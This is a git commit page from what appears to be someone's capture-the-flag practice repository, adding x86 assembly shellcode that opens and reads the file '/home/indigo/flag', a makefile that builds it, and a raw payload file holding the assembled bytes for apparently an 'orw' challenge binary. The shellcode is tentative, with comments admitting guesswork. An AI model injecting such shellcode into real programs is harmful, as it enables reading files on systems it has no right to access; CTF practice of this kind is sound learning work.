summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:24:08 -0500
committerBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:24:08 -0500
commit4fda6945bcaed8de8220e02a93a04fcc1d171c6b (patch)
treeba56212e0cb24853d2dbbb65f0bc655141f9a19a
parentb78831398bfbd268d9e4f16805ec466d225cdcb2 (diff)
new file: fread
new file: fread.asm new file: fread.o new file: makefile modified: orw new file: payload
-rwxr-xr-xfreadbin0 -> 4272 bytes
-rw-r--r--fread.asm26
-rw-r--r--fread.obin0 -> 512 bytes
-rw-r--r--makefile4
-rwxr-xr-x[-rw-r--r--]orwbin7520 -> 7520 bytes
-rwxr-xr-xpayload1
6 files changed, 31 insertions, 0 deletions
diff --git a/fread b/fread
new file mode 100755
index 0000000..0b9e19e
--- /dev/null
+++ b/fread
Binary files differ
diff --git a/fread.asm b/fread.asm
new file mode 100644
index 0000000..358cc93
--- /dev/null
+++ b/fread.asm
@@ -0,0 +1,26 @@
+global _start
+_start:
+jmp short data
+str_found:
+xor eax, eax
+mov al, 5 ;sys_open
+
+xor ecx, ecx ; arg2
+xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000
+
+pop ebx
+mov [ebx + 18], ecx ; arg1
+int 0x80
+
+;eax now contains our file descriptor.
+
+mov al, 3 ;sys_read
+mov ebx, esp ;I think?
+mov cl, 0xff ;eh, random guess I guess
+int 0x80
+
+
+data:
+call str_found
+db "/home/indigo/flag"
+
diff --git a/fread.o b/fread.o
new file mode 100644
index 0000000..00717e4
--- /dev/null
+++ b/fread.o
Binary files differ
diff --git a/makefile b/makefile
new file mode 100644
index 0000000..71bf3b9
--- /dev/null
+++ b/makefile
@@ -0,0 +1,4 @@
+make:
+ nasm fread.asm -felf32 -o fread.o
+ ld -m elf_i386 fread.o -o fread -s
+
diff --git a/orw b/orw
index 016934e..016934e 100644..100755
--- a/orw
+++ b/orw
Binary files differ
diff --git a/payload b/payload
new file mode 100755
index 0000000..9196c98
--- /dev/null
+++ b/payload
@@ -0,0 +1 @@
+ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag \ No newline at end of file